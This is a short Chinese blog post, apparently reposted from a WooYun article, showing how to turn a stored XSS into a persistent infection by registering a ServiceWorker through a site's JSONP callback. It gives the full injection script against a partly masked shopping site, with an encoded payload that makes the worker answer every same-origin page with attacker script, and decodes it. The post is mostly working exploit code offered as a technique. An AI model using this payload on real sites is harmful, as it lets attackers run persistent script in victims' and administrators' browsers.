A-A+

ServiceWorker 让你的XSS永久在线

2017年06月29日 15:24 汪洋大海 暂无评论 阅读 26 views 次

这种方法只能在电脑上利用chrome等浏览器才可以,而且对方网站必须是https的。
但是需要有两个前提条件。首先这个域名必须存在XSS,其次这个域名必须有可以控制输出的jsonp。

假设https://shoppingxxx.sxxxxgxxx.com/ 某处有储存XSS
而且这个网站下面还有一个jsonp接口,假设是https://shoppingxxxx.sxxxxgxxx.com/app/cart1/gateway/mergeShoppingCart.do?tempCartId=&operationTerminal=01&userFlag=0&settlementFlag=0&_=1498720341013&callback=jsonp5111

既然满足了这两个条件那就可以喽。
首先在储存XSS的地方X如 如下代码:

1
2
3
4
5
6
7
<script>
navigator.serviceWorker.register("/app/cart1/gateway/mergeShoppingCart.do?tempCartId=&operationTerminal=01&userFlag=0&settlementFlag=0&_=1498720341013&callback=onfetch%3Dfunction(e)%7B%0Ae.respondWith(new%20Response('%3Cscript%3Ealert(document.domain)%3C%2Fscript%3E'%2C%7Bheaders%3A%20%7B'Content-Type'%3A'text%2Fhtml'%7D%7D))%0A%7D%2F%2F").then(function(registration) {
  console.log('ServiceWorker registration successful with scope: ',    registration.scope);
}).catch(function(err) {
  console.log('ServiceWorker registration failed: ', err);
});
</script>

这里相信大家已经看到了。上面加载了一个代码,注意

1
2
3
4
//解码后是下面的样子
/app/cart1/gateway/mergeShoppingCart.do?tempCartId=&operationTerminal=01&userFlag=0&settlementFlag=0&_=1498720341013&callback=onfetch=function(e){
e.respondWith(new Response('<script>alert(document.domain)</script>',{headers: {'Content-Type':'text/html'}}))
}//

最后只要管理员或者用户访问了带有储存XSS的页面地址,那么恶意的代码就会类似缓存在浏览器,浏览任何同域下页面都会中招执行恶意的JS代码。

文章来源:http://www.moxia.org/wooyun/static/drops/web-10798.html

标签:

给我留言